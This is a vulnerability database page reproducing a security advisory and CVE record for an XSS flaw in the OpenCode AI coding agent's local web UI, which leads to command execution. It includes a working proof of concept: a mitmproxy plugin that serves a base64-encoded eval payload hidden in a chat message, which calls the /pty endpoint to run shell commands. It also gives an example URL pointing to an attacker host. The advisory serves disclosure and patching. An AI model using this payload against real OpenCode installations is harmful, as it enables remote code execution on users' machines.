Vulnerability-Lookup

GHSA-C83V-7274-4VGP

Vulnerability from github – Published: 2026-01-13 20:36 – Updated: 2026-01-13 20:36

Summary

Malicious website can execute commands on the local system through XSS in the OpenCode web UI

Details

Summary

A malicious website can abuse the server URL override feature of the OpenCode web UI to achieve cross-site scripting on http://localhost:4096. From there, it is possible to run arbitrary commands on the local system using the /pty/ endpoints provided by the OpenCode API.

Code execution via OpenCode API

The OpenCode API has /pty/ endpoints that allow spawning arbitrary processes on the local machine.
When you run opencode in your terminal, OpenCode automatically starts an HTTP server on localhost:4096 that exposes the API along with a web interface.
JavaScript can make arbitrary same-origin fetch() requests to the /pty/ API endpoints. Therefore, JavaScript execution on http://localhost:4096 gets you code execution on local the machine.

JavaScript execution on localhost:4096

The markdown renderer used for LLM responses will insert arbitrary HTML into the DOM. There is no sanitization with DOMPurify or even a CSP on the web interface to prevent JavaScript execution via HTML injection.

This means controlling the LLM response for a chat session gets you JavaScript execution on the http://localhost:4096 origin. This alone would not be enough for a 1-click exploit, but there's functionality in packages/app/src/app.tsx to allow specifying a custom server URL in a ?url=... parameter:

// packages/app/src/app.tsx
const defaultServerUrl = iife(() => {
  const param = new URLSearchParams(document.location.search).get("url")
  if (param) return param

  // [truncated]

  return window.location.origin
})

Using this custom server URL functionality, you can make the web UI connect to and load chat sessions from an OpenCode instance on another URL. For example, tricking a user into opening http://localhost:4096/Lw/session/ses_45d2d9723ffeHN2DLrTYMz4mHn?url=https://opencode.attacker.example in their browser would load and display ses_45d2d9723ffeHN2DLrTYMz4mHn from the attacker-controlled server at https://opencode.attacker.example.

Note on exploitability

Because the localhost web UI proxies static resources from a remote location, the OpenCode team was able to prevent exploitation of this issue by making a server-side change to no longer respect the ?url= parameter. This means the specific vulnerability used to achieve XSS on the localhost web UI no longer works as of Fri, 09 Jan 2026 21:36:31 GMT. Users are still strongly encouraged to upgrade to version 1.1.10 or later, as this disables the web UI/OpenCode API to reduce the attack surface of the application. Any future XSS vulnerabilities in the web UI would still impact users on OpenCode versions before 1.10.0.

Proof of Concept

A simple way to serve a malicious chat session is by setting up mitmproxy in front of a real OpenCode instance. This is necessary because the OpenCode web UI must load a bunch of resources before it loads and displays the chat session.

Spawn an OpenCode instance in a Docker container

$ docker run -it --rm -p 4096:4096 ghcr.io/anomalyco/opencode:latest --hostname 0.0.0.0

Create a file called plugin.py with the contents below

import base64
import json

payload = """
(async () => {
    // const ptyInit = {'command':'/bin/sh', 'args': ['-c', 'open -F -a Calculator.app']};
    const ptyInit = {'command':'/bin/sh', 'args': ['-c', 'touch /tmp/albert-was-here.txt']};
    const r = await fetch('/pty', {method: 'POST', body: JSON.stringify(ptyInit), headers: {'Content-Type': 'application/json'}});
    const pty_id = (await r.json())['id'];
    await new Promise(r => setTimeout(r, 500));
    await fetch('/pty/' + pty_id, {method: 'DELETE'})
    window.location.replace('https://example.com');
})()
"""

# Other messages have been removed from this codeblock for brevity
malicious_messages = [
    #  [truncated]
    {
        # [truncated]
        "parts": [
            # [truncated]
            {
                "id": "prt_ba2d26ca0001fcRfwfEZ4bP7gF",
                "sessionID": "ses_45d2d9723ffeHN2DLrTYMz4mHn",
                "messageID": "msg_ba2d269130016guS0KSZ0FY2J9",
                "type": "text",
                "text": f"Hello, World!\n<img src=\"/favicon.png\" onerror=\"eval(atob('{base64.b64encode(payload.encode()).decode()}'))\" style=\"display: none;\">",
                "time": {
                    "start": 1767963258360,
                    "end": 1767963258360
                }
            },
            # [truncated]
        ]
    }
]

malicious_session = {"id":"ses_45d2d9723ffeHN2DLrTYMz4mHn","version":"1.0.220","projectID":"global","directory":"/","title":"Hello World!","time":{"created":1767963257052,"updated":1767963258366},"summary":{"additions":0,"deletions":0,"files":0}}

async def response(flow):
    if flow.request.path.split('?')[0] == '/session':
        flow.response.text = json.dumps([malicious_session], separators=(',', ':'))
    elif flow.request.path.split('?')[0] == '/session/ses_45d2d9723ffeHN2DLrTYMz4mHn':
        flow.response.status_code = 200
        flow.response.text = json.dumps(malicious_session, separators=(',', ':'))
    elif flow.request.path.split('?')[0] == '/session/ses_45d2d9723ffeHN2DLrTYMz4mHn/message':
        flow.response.text = json.dumps(malicious_messages, separators=(',', ':'))

Start mitmproxy with the plugin in reverse proxy mode

$ mitmproxy -s plugin.py -p 12345 -m upstream:http://localhost:4096

Start OpenCode in your terminal as the victim

$ opencode

Visit the following URL in a browser on the same machine running OpenCode: http://localhost:4096/Lw/session/ses_45d2d9723ffeHN2DLrTYMz4mHn?url=http://localhost:12345
Confirm the file albert-was-here.txt was created in the /tmp/ directory

$ ls /tmp/
albert-was-here.txt

Severity ?

9.4 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Show details on source website

JSON

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "opencode-ai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22813"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-13T20:36:41Z",
    "nvd_published_at": "2026-01-12T23:15:53Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nA malicious website can abuse the server URL override feature of the OpenCode web UI to achieve cross-site scripting on `http://localhost:4096`. From there, it is possible to run arbitrary commands on the local system using the `/pty/` endpoints provided by the OpenCode API.\n\n### Code execution via OpenCode API\n\n- The OpenCode API has `/pty/` endpoints that allow spawning arbitrary processes on the local machine.\n- When you run `opencode` in your terminal, OpenCode automatically starts an HTTP server on `localhost:4096` that exposes the API along with a web interface.\n- JavaScript can make arbitrary same-origin `fetch()` requests to the `/pty/` API endpoints. Therefore, JavaScript execution on `http://localhost:4096` gets you code execution on local the machine.\n\n### JavaScript execution on localhost:4096   \n\nThe markdown renderer used for LLM responses will insert arbitrary HTML into the DOM. There is no sanitization with DOMPurify or even a CSP on the web interface to prevent JavaScript execution via HTML injection.\n\nThis means controlling the LLM response for a chat session gets you JavaScript execution on the `http://localhost:4096` origin. This alone would not be enough for a 1-click exploit, but there\u0027s functionality in `packages/app/src/app.tsx` to allow specifying a custom server URL in a `?url=...` parameter:\n\n```javascript\n// packages/app/src/app.tsx\nconst defaultServerUrl = iife(() =\u003e {\n  const param = new URLSearchParams(document.location.search).get(\"url\")\n  if (param) return param\n  \n  // [truncated]\n  \n  return window.location.origin\n})\n```\n\nUsing this custom server URL functionality, you can make the web UI connect to and load chat sessions from an OpenCode instance on another URL. For example, tricking a user into opening http://localhost:4096/Lw/session/ses_45d2d9723ffeHN2DLrTYMz4mHn?url=https://opencode.attacker.example in their browser would load and display `ses_45d2d9723ffeHN2DLrTYMz4mHn` from the attacker-controlled server at https://opencode.attacker.example.\n\n### Note on exploitability\n\nBecause the localhost web UI proxies static resources from a remote location, the OpenCode team was able to prevent exploitation of this issue by making a server-side change to no longer respect the `?url=` parameter. This means the specific vulnerability used to achieve XSS on the localhost web UI no longer works as of `Fri, 09 Jan 2026 21:36:31 GMT`. Users are still strongly encouraged to upgrade to version 1.1.10 or later, as this disables the web UI/OpenCode API to reduce the attack surface of the application. Any future XSS vulnerabilities in the web UI would still impact users on OpenCode versions before 1.10.0. \n\n### Proof of Concept\n\nA simple way to serve a malicious chat session is by setting up mitmproxy in front of a real OpenCode instance. This is necessary because the OpenCode web UI must load a bunch of resources before it loads and displays the chat session.\n\n1. Spawn an OpenCode instance in a Docker container\n\n```\n$ docker run -it --rm -p 4096:4096 ghcr.io/anomalyco/opencode:latest --hostname 0.0.0.0\n```\n\n2. Create a file called `plugin.py` with the contents below\n\n```python\nimport base64\nimport json\n\npayload = \"\"\"\n(async () =\u003e {\n    // const ptyInit = {\u0027command\u0027:\u0027/bin/sh\u0027, \u0027args\u0027: [\u0027-c\u0027, \u0027open -F -a Calculator.app\u0027]};\n    const ptyInit = {\u0027command\u0027:\u0027/bin/sh\u0027, \u0027args\u0027: [\u0027-c\u0027, \u0027touch /tmp/albert-was-here.txt\u0027]};\n    const r = await fetch(\u0027/pty\u0027, {method: \u0027POST\u0027, body: JSON.stringify(ptyInit), headers: {\u0027Content-Type\u0027: \u0027application/json\u0027}});\n    const pty_id = (await r.json())[\u0027id\u0027];\n    await new Promise(r =\u003e setTimeout(r, 500));\n    await fetch(\u0027/pty/\u0027 + pty_id, {method: \u0027DELETE\u0027})\n    window.location.replace(\u0027https://example.com\u0027);\n})()\n\"\"\"\n\n# Other messages have been removed from this codeblock for brevity\nmalicious_messages = [\n    #  [truncated]\n    {\n        # [truncated]\n        \"parts\": [\n            # [truncated]\n            {\n                \"id\": \"prt_ba2d26ca0001fcRfwfEZ4bP7gF\",\n                \"sessionID\": \"ses_45d2d9723ffeHN2DLrTYMz4mHn\",\n                \"messageID\": \"msg_ba2d269130016guS0KSZ0FY2J9\",\n                \"type\": \"text\",\n                \"text\": f\"Hello, World!\\n\u003cimg src=\\\"/favicon.png\\\" onerror=\\\"eval(atob(\u0027{base64.b64encode(payload.encode()).decode()}\u0027))\\\" style=\\\"display: none;\\\"\u003e\",\n                \"time\": {\n                    \"start\": 1767963258360,\n                    \"end\": 1767963258360\n                }\n            },\n            # [truncated]\n        ]\n    }\n]\n\nmalicious_session = {\"id\":\"ses_45d2d9723ffeHN2DLrTYMz4mHn\",\"version\":\"1.0.220\",\"projectID\":\"global\",\"directory\":\"/\",\"title\":\"Hello World!\",\"time\":{\"created\":1767963257052,\"updated\":1767963258366},\"summary\":{\"additions\":0,\"deletions\":0,\"files\":0}}\n\nasync def response(flow):\n    if flow.request.path.split(\u0027?\u0027)[0] == \u0027/session\u0027:\n        flow.response.text = json.dumps([malicious_session], separators=(\u0027,\u0027, \u0027:\u0027))\n    elif flow.request.path.split(\u0027?\u0027)[0] == \u0027/session/ses_45d2d9723ffeHN2DLrTYMz4mHn\u0027:\n        flow.response.status_code = 200\n        flow.response.text = json.dumps(malicious_session, separators=(\u0027,\u0027, \u0027:\u0027))\n    elif flow.request.path.split(\u0027?\u0027)[0] == \u0027/session/ses_45d2d9723ffeHN2DLrTYMz4mHn/message\u0027:\n        flow.response.text = json.dumps(malicious_messages, separators=(\u0027,\u0027, \u0027:\u0027))\n```\n\n3. Start mitmproxy with the plugin in reverse proxy mode\n\n```\n$ mitmproxy -s plugin.py -p 12345 -m upstream:http://localhost:4096\n```\n\n4. Start OpenCode in your terminal as the victim\n\n```\n$ opencode\n```\n\n5. Visit the following URL in a browser on the same machine running OpenCode: http://localhost:4096/Lw/session/ses_45d2d9723ffeHN2DLrTYMz4mHn?url=http://localhost:12345\n\n6. Confirm the file `albert-was-here.txt` was created in the `/tmp/` directory\n\n```\n$ ls /tmp/\nalbert-was-here.txt\n```",
  "id": "GHSA-c83v-7274-4vgp",
  "modified": "2026-01-13T20:36:42Z",
  "published": "2026-01-13T20:36:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/anomalyco/opencode/security/advisories/GHSA-c83v-7274-4vgp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22813"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/anomalyco/opencode"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Malicious website can execute commands on the local system through XSS in the OpenCode web UI"
}

CVE-2026-22813 (GCVE-0-2026-22813)

Vulnerability from cvelistv5 – Published: 2026-01-12 22:52 – Updated: 2026-01-13 19:07

Title

Malicious website can execute commands on the local system through XSS in the OpenCode web UI

Summary

OpenCode is an open source AI coding agent. The markdown renderer used for LLM responses will insert arbitrary HTML into the DOM. There is no sanitization with DOMPurify or even a CSP on the web interface to prevent JavaScript execution via HTML injection. This means controlling the LLM response for a chat session gets JavaScript execution on the http://localhost:4096 origin. This vulnerability is fixed in 1.1.10.

Severity ?

9.4 (Critical)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M

References

URL

Tags

https://github.com/anomalyco/opencode/security/ad…

x_refsource_CONFIRM

Impacted products

	Vendor	Product	Version
	anomalyco	opencode	Affected: < 1.1.10

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-22813",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-01-13T14:13:29.936632Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-01-13T19:07:23.038Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/anomalyco/opencode/security/advisories/GHSA-c83v-7274-4vgp"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "opencode",
          "vendor": "anomalyco",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.1.10"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "OpenCode is an open source AI coding agent. The markdown renderer used for LLM responses will insert arbitrary HTML into the DOM. There is no sanitization with DOMPurify or even a CSP on the web interface to prevent JavaScript execution via HTML injection. This means controlling the LLM response for a chat session gets JavaScript execution on the http://localhost:4096 origin. This vulnerability is fixed in 1.1.10."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 9.4,
            "baseSeverity": "CRITICAL",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "HIGH",
            "subConfidentialityImpact": "HIGH",
            "subIntegrityImpact": "HIGH",
            "userInteraction": "PASSIVE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-79",
              "description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-01-12T22:52:35.103Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/anomalyco/opencode/security/advisories/GHSA-c83v-7274-4vgp",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/anomalyco/opencode/security/advisories/GHSA-c83v-7274-4vgp"
        }
      ],
      "source": {
        "advisory": "GHSA-c83v-7274-4vgp",
        "discovery": "UNKNOWN"
      },
      "title": "Malicious website can execute commands on the local system through XSS in the OpenCode web UI"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-22813",
    "datePublished": "2026-01-12T22:52:35.103Z",
    "dateReserved": "2026-01-09T22:50:10.288Z",
    "dateUpdated": "2026-01-13T19:07:23.038Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-C83V-7274-4VGP

Summary

Code execution via OpenCode API

JavaScript execution on localhost:4096

Note on exploitability

Proof of Concept

CVE-2026-22813 (GCVE-0-2026-22813)

Tags

Sightings

Nomenclature